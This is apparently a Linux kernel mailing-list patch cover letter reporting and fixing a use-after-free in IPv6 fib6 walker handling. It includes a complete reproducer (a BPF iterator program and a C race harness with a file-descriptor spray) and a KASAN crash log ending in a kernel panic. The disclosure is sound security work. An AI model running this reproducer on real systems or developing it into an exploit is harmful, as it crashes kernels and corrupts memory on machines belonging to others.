[PATCH net 0/1] ipv6: fix fib6 walker UAF on seq stop
From: Zihan Xi <hidden>
Date: 2026-09-08 07:43:06
Also in:
lkml
Hi Linux kernel maintainers,
We found and validated a issue in net/ipv6/ip6_fib.c. We reproduced
it as root using a BPF ipv6_route iterator racing RTM_DELROUTE.
We've tested it, and it should not affect any other functionality.
We will provide detailed information about the bug
in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
ipv6_route_iter_active() treats a fib6 walker in FWS_U at the table
root as already unlinked from net->ipv6.fib6_walkers. That heuristic
is wrong when the last route at a table root is deleted:
fib6_del_route() moves a still-linked walker into FWS_U without
unlinking it.
ipv6_route_native_seq_stop() therefore skips fib6_walker_unlink().
The seq private object can then be reset or freed while it remains on
the walker list. A later route deletion or tree repair walks the
dangling list and reads or writes the freed walker.
The same stop helper is used by /proc/net/ipv6_route and by the BPF
ipv6_route iterator. The BPF show program can keep seq_show() in the
FWS_C / leaf window long enough for the delete to land, which makes
the race practical. /proc/net/ipv6_route has the same membership bug
with a narrower window.
The root-cause fact is this false "already unlinked" inference in the
seq iterator. It was introduced by 8d2ca1d7b5c3 ("ipv6: avoid high
order memory allocations for /proc/net/ipv6_route"). fib6_del_route()
already set FWS_U without unlinking before that commit. The later BPF
iterator only widened the trigger window, so Fixes: still points at
8d2ca1d7b5c3.
The fix uses the list head as membership state and reinitializes it
in fib6_walker_unlink(). seq stop can then unlink a terminal walker
that route deletion left linked, while a completed walker that was
already unlinked stays unlinked.
packetdrill is not used because the trigger is an ipv6_route seq
iterator racing RTM_DELROUTE, not a packet sequence. The attached
reproducer is Makefile, poc.bpf.c, and poc.c. poc.c links libbpf,
so it is built with make rather than a single gcc -static line.
The reliable crash we hit used the BPF iterator as root.
Reproducer:
make
./poc ./poc.bpf.o
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN Makefile------
CLANG ?= clang
CC ?= gcc
KDIR ?= /path/to/kernel
LIBBPF_INCLUDE ?= $(KDIR)/build/tools/bpf/resolve_btfids/libbpf/include
BPF_CFLAGS := -g -O2 -target bpf -D__TARGET_ARCH_x86 -Wall -Wextra \
-I/usr/include/x86_64-linux-gnu \
-I$(LIBBPF_INCLUDE)
USER_CFLAGS := -g -O2 -Wall -Wextra -I/usr/include/x86_64-linux-gnu \
-I$(LIBBPF_INCLUDE)
USER_LDLIBS := -L/lib/x86_64-linux-gnu -Wl,-rpath,/lib/x86_64-linux-gnu \
-l:libbpf.so.1 -lelf -lz
all: poc.bpf.o poc
poc.bpf.o: poc.bpf.c
$(CLANG) $(BPF_CFLAGS) -c $< -o $@
poc: poc.c
$(CC) $(USER_CFLAGS) $< -o $@ $(USER_LDLIBS)
clean:
rm -f poc poc.bpf.o
------END Makefile--------
------BEGIN poc.bpf.c------
// SPDX-License-Identifier: GPL-2.0
#include <linux/bpf.h>
#include <linux/in6.h>
#include <linux/types.h>
#include <bpf/bpf_core_read.h>
#include <bpf/bpf_helpers.h>
struct seq_file;
struct bpf_iter_meta {
struct seq_file *seq;
} __attribute__((preserve_access_index));
struct fib6_table {
__u32 tb6_id;
} __attribute__((preserve_access_index));
struct rt6key {
struct in6_addr addr;
int plen;
} __attribute__((preserve_access_index));
struct fib6_info {
struct fib6_table *fib6_table;
struct rt6key fib6_dst;
__u32 fib6_metric;
} __attribute__((preserve_access_index));
struct bpf_iter__ipv6_route {
struct bpf_iter_meta *meta;
struct fib6_info *rt;
} __attribute__((preserve_access_index));
struct ctrl_state {
__u32 seen;
__u32 deleted;
__u32 done;
__u32 hits;
__u32 target_table;
__u32 target_metric;
};
struct {
__uint(type, BPF_MAP_TYPE_ARRAY);
__uint(max_entries, 1);
__type(key, __u32);
__type(value, struct ctrl_state);
} ctrl_map SEC(".maps");
SEC("iter/ipv6_route")
int trigger(struct bpf_iter__ipv6_route *ctx)
{
__u32 key = 0;
struct ctrl_state *st;
struct fib6_info *rt;
struct rt6key dst;
__u64 chunk = 0x4141414141414141ULL;
int i;
if (!ctx || !ctx->meta || !ctx->meta->seq)
return 0;
rt = ctx->rt;
if (!rt)
return 0;
st = bpf_map_lookup_elem(&ctrl_map, &key);
if (!st)
return 0;
if (BPF_CORE_READ(rt, fib6_table, tb6_id) != st->target_table)
return 0;
if (BPF_CORE_READ(rt, fib6_metric) != st->target_metric)
return 0;
dst = BPF_CORE_READ(rt, fib6_dst);
if (dst.plen != 0)
return 0;
st->hits++;
st->seen = 1;
#pragma clang loop unroll(disable)
for (i = 0; i < 4096; i++)
bpf_seq_write(ctx->meta->seq, &chunk, sizeof(chunk));
st->done = 1;
return 0;
}
char LICENSE[] SEC("license") = "GPL";
------END poc.bpf.c--------
------BEGIN poc.c------
// SPDX-License-Identifier: GPL-2.0
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <net/if.h>
#include <pthread.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#include <bpf/bpf.h>
#include <bpf/libbpf.h>
#define TARGET_TABLE 1234
#define TARGET_METRIC 4242
#define TRIGGER_TABLE 1235
#define TRIGGER_METRIC 4343
#define SPRAY_FDS 512
#define DEFAULT_ATTEMPTS 10000
struct ctrl_state {
uint32_t seen;
uint32_t deleted;
uint32_t done;
uint32_t hits;
uint32_t target_table;
uint32_t target_metric;
};
struct reader_args {
int fd;
ssize_t ret;
int err;
};
static int libbpf_log(enum libbpf_print_level level, const char *fmt, va_list ap)
{
if (level == LIBBPF_DEBUG)
return 0;
return vfprintf(stderr, fmt, ap);
}
static void die(const char *msg)
{
perror(msg);
exit(EXIT_FAILURE);
}
static void addattr_l(struct nlmsghdr *nlh, size_t maxlen, int type,
const void *data, size_t alen)
{
size_t len = RTA_LENGTH(alen);
struct rtattr *rta;
if (NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(len) > maxlen) {
fprintf(stderr, "netlink attribute overflow\n");
exit(EXIT_FAILURE);
}
rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len));
rta->rta_type = type;
rta->rta_len = len;
if (alen)
memcpy(RTA_DATA(rta), data, alen);
nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(len);
}
static int nl_talk(int fd, struct nlmsghdr *nlh)
{
struct sockaddr_nl sa = {
.nl_family = AF_NETLINK,
};
struct iovec iov = {
.iov_base = nlh,
.iov_len = nlh->nlmsg_len,
};
struct msghdr msg = {
.msg_name = &sa,
.msg_namelen = sizeof(sa),
.msg_iov = &iov,
.msg_iovlen = 1,
};
char buf[4096];
struct nlmsghdr *reply;
ssize_t len;
if (sendmsg(fd, &msg, 0) < 0)
return -errno;
for (;;) {
len = recv(fd, buf, sizeof(buf), 0);
if (len < 0) {
if (errno == EINTR)
continue;
return -errno;
}
for (reply = (struct nlmsghdr *)buf; NLMSG_OK(reply, (unsigned int)len);
reply = NLMSG_NEXT(reply, len)) {
if (reply->nlmsg_type == NLMSG_ERROR) {
struct nlmsgerr *err = NLMSG_DATA(reply);
if (reply->nlmsg_len < NLMSG_LENGTH(sizeof(*err)))
return -EIO;
return err->error;
}
}
}
}
static int change_default_route(int fd, int cmd, uint32_t table, uint32_t metric,
int ifindex)
{
struct {
struct nlmsghdr nlh;
struct rtmsg rtm;
char buf[256];
} req = {
.nlh = {
.nlmsg_len = NLMSG_LENGTH(sizeof(struct rtmsg)),
.nlmsg_type = cmd,
.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK,
},
.rtm = {
.rtm_family = AF_INET6,
.rtm_table = RT_TABLE_UNSPEC,
.rtm_protocol = RTPROT_BOOT,
.rtm_scope = RT_SCOPE_UNIVERSE,
.rtm_type = RTN_UNICAST,
},
};
int ret;
if (cmd == RTM_NEWROUTE)
req.nlh.nlmsg_flags |= NLM_F_CREATE | NLM_F_EXCL;
addattr_l(&req.nlh, sizeof(req), RTA_TABLE, &table, sizeof(table));
addattr_l(&req.nlh, sizeof(req), RTA_PRIORITY, &metric, sizeof(metric));
addattr_l(&req.nlh, sizeof(req), RTA_OIF, &ifindex, sizeof(ifindex));
ret = nl_talk(fd, &req.nlh);
return ret;
}
static void cleanup_routes(int fd, int ifindex)
{
(void)change_default_route(fd, RTM_DELROUTE, TARGET_TABLE, TARGET_METRIC, ifindex);
(void)change_default_route(fd, RTM_DELROUTE, TRIGGER_TABLE, TRIGGER_METRIC, ifindex);
}
static void *reader_thread(void *arg)
{
struct reader_args *reader = arg;
char buf[64];
errno = 0;
reader->ret = read(reader->fd, buf, sizeof(buf));
reader->err = errno;
close(reader->fd);
reader->fd = -1;
return NULL;
}
static int update_state(int map_fd, const struct ctrl_state *state)
{
uint32_t key = 0;
return bpf_map_update_elem(map_fd, &key, state, BPF_ANY);
}
static int lookup_state(int map_fd, struct ctrl_state *state)
{
uint32_t key = 0;
return bpf_map_lookup_elem(map_fd, &key, state);
}
static int wait_until_seen(int map_fd, struct ctrl_state *state)
{
int spins;
for (spins = 0; spins < 1000000; spins++) {
if (lookup_state(map_fd, state))
return -1;
if (state->seen)
return 0;
}
return -1;
}
int main(int argc, char **argv)
{
const char *obj_path = "./poc.bpf.o";
struct bpf_object *obj = NULL;
struct bpf_program *prog;
struct bpf_link *link = NULL;
struct bpf_map *map;
struct rlimit rlim = {
.rlim_cur = RLIM_INFINITY,
.rlim_max = RLIM_INFINITY,
};
int route_fd = -1;
int map_fd;
int link_fd;
int ifindex;
int attempts = DEFAULT_ATTEMPTS;
int attempt;
int err;
if (argc > 1)
obj_path = argv[1];
if (argc > 2)
attempts = atoi(argv[2]);
libbpf_set_print(libbpf_log);
libbpf_set_strict_mode(LIBBPF_STRICT_ALL);
if (setrlimit(RLIMIT_MEMLOCK, &rlim) && errno != EPERM)
die("setrlimit");
obj = bpf_object__open_file(obj_path, NULL);
if (!obj) {
fprintf(stderr, "failed to open %s\n", obj_path);
return EXIT_FAILURE;
}
err = bpf_object__load(obj);
if (err) {
fprintf(stderr, "failed to load BPF object: %d\n", err);
goto out;
}
prog = bpf_object__find_program_by_name(obj, "trigger");
if (!prog) {
fprintf(stderr, "failed to find BPF program\n");
goto out;
}
map = bpf_object__find_map_by_name(obj, "ctrl_map");
if (!map) {
fprintf(stderr, "failed to find ctrl_map\n");
goto out;
}
map_fd = bpf_map__fd(map);
link = bpf_program__attach_iter(prog, NULL);
if (!link) {
err = -errno;
fprintf(stderr, "attach_iter failed: %d\n", err);
goto out;
}
link_fd = bpf_link__fd(link);
route_fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_ROUTE);
if (route_fd < 0)
die("socket(NETLINK_ROUTE)");
ifindex = if_nametoindex("lo");
if (!ifindex) {
fprintf(stderr, "failed to resolve ifindex for lo\n");
goto out;
}
printf("loaded %s, link_fd=%d, ifindex(lo)=%d, attempts=%d\n",
obj_path, link_fd, ifindex, attempts);
fflush(stdout);
for (attempt = 1; attempt <= attempts; attempt++) {
struct ctrl_state state = {
.target_table = TARGET_TABLE,
.target_metric = TARGET_METRIC,
};
struct reader_args reader = {
.fd = -1,
.ret = -1,
.err = 0,
};
pthread_t tid;
int spray[SPRAY_FDS];
int iter_fd;
int i;
bool saw_target = false;
memset(spray, -1, sizeof(spray));
cleanup_routes(route_fd, ifindex);
err = change_default_route(route_fd, RTM_NEWROUTE,
TRIGGER_TABLE, TRIGGER_METRIC, ifindex);
if (err) {
fprintf(stderr, "attempt %d: add trigger route failed: %s\n",
attempt, strerror(-err));
break;
}
err = change_default_route(route_fd, RTM_NEWROUTE,
TARGET_TABLE, TARGET_METRIC, ifindex);
if (err) {
fprintf(stderr, "attempt %d: add target route failed: %s\n",
attempt, strerror(-err));
(void)change_default_route(route_fd, RTM_DELROUTE,
TRIGGER_TABLE, TRIGGER_METRIC, ifindex);
break;
}
if (update_state(map_fd, &state)) {
perror("bpf_map_update_elem");
break;
}
iter_fd = bpf_iter_create(link_fd);
if (iter_fd < 0) {
perror("bpf_iter_create");
break;
}
reader.fd = iter_fd;
if (pthread_create(&tid, NULL, reader_thread, &reader)) {
perror("pthread_create");
close(iter_fd);
break;
}
if (!wait_until_seen(map_fd, &state)) {
saw_target = true;
err = change_default_route(route_fd, RTM_DELROUTE,
TARGET_TABLE, TARGET_METRIC, ifindex);
if (err) {
fprintf(stderr,
"attempt %d: delete target route failed: %s\n",
attempt, strerror(-err));
} else {
state.deleted = 1;
if (update_state(map_fd, &state))
perror("bpf_map_update_elem deleted");
}
}
pthread_join(tid, NULL);
for (i = 0; i < SPRAY_FDS; i++) {
spray[i] = bpf_iter_create(link_fd);
if (spray[i] < 0)
break;
}
err = change_default_route(route_fd, RTM_DELROUTE,
TRIGGER_TABLE, TRIGGER_METRIC, ifindex);
if (err) {
fprintf(stderr, "attempt %d: delete trigger route failed: %s\n",
attempt, strerror(-err));
}
for (i = 0; i < SPRAY_FDS; i++) {
if (spray[i] >= 0)
close(spray[i]);
}
if (attempt == 1 || !(attempt % 100)) {
printf("attempt=%d seen=%u deleted=%u done=%u hits=%u read_ret=%zd read_errno=%d saw_target=%d\n",
attempt, state.seen, state.deleted, state.done,
state.hits, reader.ret, reader.err, saw_target);
fflush(stdout);
}
}
out:
cleanup_routes(route_fd, if_nametoindex("lo"));
if (route_fd >= 0)
close(route_fd);
if (link)
bpf_link__destroy(link);
if (obj)
bpf_object__close(obj);
return 0;
}
------END poc.c--------
----BEGIN crash log----
[ 9.380711] BUG: KASAN: slab-use-after-free in fib6_del (net/ipv6/ip6_fib.c:2028 net/ipv6/ip6_fib.c:2096)
[ 9.380725] Read of size 4 at addr ffff88800bfe9a20 by task poc/276
[ 9.380727]
[ 9.380730] CPU: 1 UID: 0 PID: 276 Comm: poc Not tainted 7.3.0-rc1-00304-g4ff75f130d1b #2 PREEMPT(lazy)
[ 9.380733] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 9.380735] Call Trace:
[ 9.380736] <TASK>
[ 9.380737] dump_stack_lvl (lib/dump_stack.c:94 lib/dump_stack.c:120)
[ 9.380742] print_report (mm/kasan/report.c:378 mm/kasan/report.c:482)
[ 9.380746] ? __pfx__raw_spin_lock_irqsave (kernel/locking/spinlock.c:190)
[ 9.380749] ? __pfx___nla_validate_parse (lib/nlattr.c:285)
[ 9.380753] ? __virt_addr_valid (include/linux/mmzone.h:2131 (discriminator 1) include/linux/mmzone.h:2277 (discriminator 1) arch/x86/mm/physaddr.c:54 (discriminator 1))
[ 9.380757] ? fib6_del (net/ipv6/ip6_fib.c:2028 net/ipv6/ip6_fib.c:2096)
[ 9.380759] kasan_report (mm/kasan/report.c:595)
[ 9.380776] ? fib6_del (net/ipv6/ip6_fib.c:2028 net/ipv6/ip6_fib.c:2096)
[ 9.380779] fib6_del (net/ipv6/ip6_fib.c:2028 net/ipv6/ip6_fib.c:2096)
[ 9.380782] ? __pfx_fib6_del (net/ipv6/ip6_fib.c:1800)
[ 9.380784] ? _raw_spin_lock_bh (include/linux/instrumented.h:55 include/linux/atomic/atomic-instrumented.h:1301 include/asm-generic/qspinlock.h:112 include/linux/spinlock.h:188 include/linux/spinlock_api_smp.h:183 kernel/locking/spinlock.c:205)
[ 9.380787] ? __pfx__raw_spin_lock_bh (kernel/locking/spinlock.c:174)
[ 9.380790] ? fib6_locate (net/ipv6/ip6_fib.c:1797 (discriminator 1))
[ 9.380793] ip6_route_del (net/ipv6/route.c:4083 net/ipv6/route.c:4232)
[ 9.380796] ? __pfx_ip6_route_del (net/ipv6/route.c:6549)
[ 9.380799] ? unwind_get_return_address (arch/x86/kernel/unwind_orc.c:385)
[ 9.380802] ? arch_stack_walk (arch/x86/kernel/stacktrace.c:26)
[ 9.380806] inet6_rtm_delroute (net/ipv6/route.c:5669)
[ 9.380809] ? __pfx_inet6_rtm_delroute (net/ipv6/route.c:5642)
[ 9.380812] ? stack_trace_save (kernel/stacktrace.c:122 (discriminator 1))
[ 9.380817] ? cap_capable (security/commoncap.c:82 security/commoncap.c:128)
[ 9.380819] ? ____sys_sendmsg (net/socket.c:800 (discriminator 1) net/socket.c:815 (discriminator 1) net/socket.c:2713 (discriminator 1))
[ 9.380823] ? security_capable (security/security.c:660 (discriminator 8))
[ 9.380827] ? __pfx_inet6_rtm_delroute (net/ipv6/route.c:5642)
[ 9.380829] rtnetlink_rcv_msg (net/core/rtnetlink.c:7137)
[ 9.380833] ? __pfx_rtnetlink_rcv_msg (include/net/netlink.h:1734 (discriminator 1))
[ 9.380836] netlink_rcv_skb (net/netlink/af_netlink.c:2556)
[ 9.380839] ? __pfx_rtnetlink_rcv_msg (include/net/netlink.h:1734 (discriminator 1))
[ 9.380842] ? __pfx_netlink_rcv_skb (include/linux/skbuff.h:2772 (discriminator 1))
[ 9.380846] netlink_unicast (net/netlink/af_netlink.c:1319 net/netlink/af_netlink.c:1345)
[ 9.380848] ? __pfx_netlink_unicast (net/netlink/af_netlink.c:1255)
[ 9.380851] netlink_sendmsg (net/netlink/af_netlink.c:1900)
[ 9.380854] ? __pfx_netlink_sendmsg (net/netlink/af_netlink.c:1361)
[ 9.380857] ____sys_sendmsg (net/socket.c:800 (discriminator 1) net/socket.c:815 (discriminator 1) net/socket.c:2713 (discriminator 1))
[ 9.380860] ? __pfx_____sys_sendmsg (net/socket.c:1151 (discriminator 1))
[ 9.380863] ? __pfx_copy_msghdr_from_user (net/socket.c:2607)
[ 9.380865] ? __sys_bpf (include/linux/instrumented.h:112 include/linux/atomic/atomic-instrumented.h:2961 kernel/bpf/syscall.c:3382 kernel/bpf/syscall.c:6153 kernel/bpf/syscall.c:6458)
[ 9.380869] ? __pfx___sys_bpf (kernel/bpf/syscall.c:4289)
[ 9.380872] ___sys_sendmsg (net/socket.c:2767)
[ 9.380875] ? __pfx____sys_sendmsg (net/socket.c:2654)
[ 9.380878] ? swake_up_one (include/linux/list.h:54 (discriminator 2) include/linux/list.h:334 (discriminator 2) kernel/sched/swait.c:31 (discriminator 2) kernel/sched/swait.c:22 (discriminator 2) kernel/sched/swait.c:53 (discriminator 2))
[ 9.380881] ? rcu_segcblist_nextgp (kernel/rcu/rcu_segcblist.c:317)
[ 9.380885] ? fdget (fs/file.c:1196 (discriminator 1) fs/file.c:1208 (discriminator 1))
[ 9.380889] __sys_sendmsg (net/socket.c:2799)
[ 9.380891] ? __pfx___sys_sendmsg (net/socket.c:2780)
[ 9.380894] ? __x64_sys_bpf (kernel/bpf/syscall.c:6486 (discriminator 2) kernel/bpf/syscall.c:6483 (discriminator 2) kernel/bpf/syscall.c:6483 (discriminator 2))
[ 9.380897] ? __x64_sys_bpf (kernel/bpf/syscall.c:6486 (discriminator 2) kernel/bpf/syscall.c:6483 (discriminator 2) kernel/bpf/syscall.c:6483 (discriminator 2))
[ 9.380900] do_syscall_64 (arch/x86/entry/syscall_64.c:61 arch/x86/entry/syscall_64.c:84)
[ 9.380903] entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[ 9.380906] RIP: 0033:0x52e65b
[ 9.380908] Code: 48 89 e5 48 83 ec 20 89 55 ec 48 89 75 f0 89 7d f8 e8 e9 67 03 00 8b 55 ec 48 8b 75 f0 41 89 c0 8b 7d f8 b8 2e 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 2d 44 89 c7 48 89 45 f8 e8 41 68 03 00 48 8b
All code
========
0: 48 89 e5 mov %rsp,%rbp
3: 48 83 ec 20 sub $0x20,%rsp
7: 89 55 ec mov %edx,-0x14(%rbp)
a: 48 89 75 f0 mov %rsi,-0x10(%rbp)
e: 89 7d f8 mov %edi,-0x8(%rbp)
11: e8 e9 67 03 00 call 0x367ff
16: 8b 55 ec mov -0x14(%rbp),%edx
19: 48 8b 75 f0 mov -0x10(%rbp),%rsi
1d: 41 89 c0 mov %eax,%r8d
20: 8b 7d f8 mov -0x8(%rbp),%edi
23: b8 2e 00 00 00 mov $0x2e,%eax
28: 0f 05 syscall
2a:* 48 3d 00 f0 ff ff cmp $0xfffffffffffff000,%rax <-- trapping instruction
30: 77 2d ja 0x5f
32: 44 89 c7 mov %r8d,%edi
35: 48 89 45 f8 mov %rax,-0x8(%rbp)
39: e8 41 68 03 00 call 0x3687f
3e: 48 rex.W
3f: 8b .byte 0x8b
Code starting with the faulting instruction
===========================================
0: 48 3d 00 f0 ff ff cmp $0xfffffffffffff000,%rax
6: 77 2d ja 0x35
8: 44 89 c7 mov %r8d,%edi
b: 48 89 45 f8 mov %rax,-0x8(%rbp)
f: e8 41 68 03 00 call 0x36855
14: 48 rex.W
15: 8b .byte 0x8b
[ 9.380911] RSP: 002b:00007ffcfc7e99e0 EFLAGS: 00000293 ORIG_RAX: 000000000000002e
[ 9.380914] RAX: ffffffffffffffda RBX: 0000000000000007 RCX: 000000000052e65b
[ 9.380916] RDX: 0000000000000000 RSI: 00007ffcfc7e9a30 RDI: 0000000000000007
[ 9.380918] RBP: 00007ffcfc7e9a00 R08: 0000000000000000 R09: 0000000000000006
[ 9.380919] R10: 0000000000000006 R11: 0000000000000293 R12: 00007ffcfc7eac90
[ 9.380921] R13: 0000000000000004 R14: 00007ffcfc7eb490 R15: 0000000000000001
[ 9.380924] </TASK>
[ 9.380925]
[ 9.380925] Allocated by task 276:
[ 9.380927] kasan_save_stack (mm/kasan/common.c:57)
[ 9.380930] kasan_save_track (mm/kasan/common.c:78)
[ 9.380932] __kasan_kmalloc (mm/kasan/common.c:398 mm/kasan/common.c:415)
[ 9.380934] __kmalloc_noprof (include/linux/kasan.h:263 mm/slub.c:5414 mm/slub.c:5439)
[ 9.380937] __seq_open_private (include/linux/slab.h:995 include/linux/slab.h:1312 fs/seq_file.c:637)
[ 9.380939] prepare_seq_file (kernel/bpf/bpf_iter.c:607)
[ 9.380942] bpf_iter_new_fd (kernel/bpf/bpf_iter.c:650)
[ 9.380944] __sys_bpf (kernel/bpf/syscall.c:6152 kernel/bpf/syscall.c:6458)
[ 9.380946] __x64_sys_bpf (kernel/bpf/syscall.c:6486 (discriminator 2) kernel/bpf/syscall.c:6483 (discriminator 2) kernel/bpf/syscall.c:6483 (discriminator 2))
[ 9.380948] do_syscall_64 (arch/x86/entry/syscall_64.c:61 arch/x86/entry/syscall_64.c:84)
[ 9.380950] entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[ 9.380952]
[ 9.380953] Freed by task 277:
[ 9.380954] kasan_save_stack (mm/kasan/common.c:57)
[ 9.380956] kasan_save_track (mm/kasan/common.c:78)
[ 9.380959] kasan_save_free_info (mm/kasan/generic.c:584)
[ 9.380961] __kasan_slab_free (mm/kasan/common.c:253 mm/kasan/common.c:285)
[ 9.380963] kfree (include/linux/kasan.h:235 mm/slub.c:2748 mm/slub.c:6499 mm/slub.c:6792)
[ 9.380965] seq_release_private (fs/seq_file.c:624)
[ 9.380967] __fput (fs/file_table.c:512)
[ 9.380970] fput_close_sync (fs/file_table.c:617)
[ 9.380971] __x64_sys_close (fs/open.c:1560 fs/open.c:1545 fs/open.c:1545)
[ 9.380973] do_syscall_64 (arch/x86/entry/syscall_64.c:61 arch/x86/entry/syscall_64.c:84)
[ 9.380975] entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[ 9.380978]
[ 9.380978] The buggy address belongs to the object at ffff88800bfe99c0
[ 9.380978] which belongs to the cache kmalloc-192 of size 192
[ 9.380980] The buggy address is located 96 bytes inside of
[ 9.380980] freed 192-byte region [ffff88800bfe99c0, ffff88800bfe9a80)
[ 9.380983]
[ 9.380983] The buggy address belongs to the physical page:
[ 9.380985] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0xbfe8
[ 9.380988] head: order:1 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
[ 9.380989] flags: 0x100000000000040(head|node=0|zone=1)
[ 9.380992] page_type: f5(slab)
[ 9.380995] raw: 0100000000000040 ffff8880010424c0 ffffea00001d2c10 ffffea0000251e90
[ 9.380997] raw: 0000000000000000 0000000000150015 00000000f5000000 0000000000000000
[ 9.381000] head: 0100000000000040 ffff8880010424c0 ffffea00001d2c10 ffffea0000251e90
[ 9.381002] head: 0000000000000000 0000000000150015 00000000f5000000 0000000000000000
[ 9.381004] head: 0100000000000001 ffffffffffffff81 00000000ffffffff 00000000ffffffff
[ 9.381006] head: 0000000000000000 0000000000000000 00000000ffffffff 0000000000000000
[ 9.381007] page dumped because: kasan: bad access detected
[ 9.381008]
[ 9.381009] Memory state around the buggy address:
[ 9.381010] ffff88800bfe9900: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[ 9.381012] ffff88800bfe9980: fc fc fc fc fc fc fc fc fa fb fb fb fb fb fb fb
[ 9.381013] >ffff88800bfe9a00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 9.381014] ^
[ 9.381029] ffff88800bfe9a80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[ 9.381031] ffff88800bfe9b00: fc fc fc fc fc fc fc fc 00 00 00 00 00 00 00 00
[ 9.381032] ==================================================================
[ 9.381073] Kernel panic - not syncing: KASAN: panic_on_warn set ...
-----END crash log-----
Best regards,
Zihan Xi
Zihan Xi (1):
ipv6: fix fib6 walker UAF on seq stop
net/ipv6/ip6_fib.c | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
--
2.43.0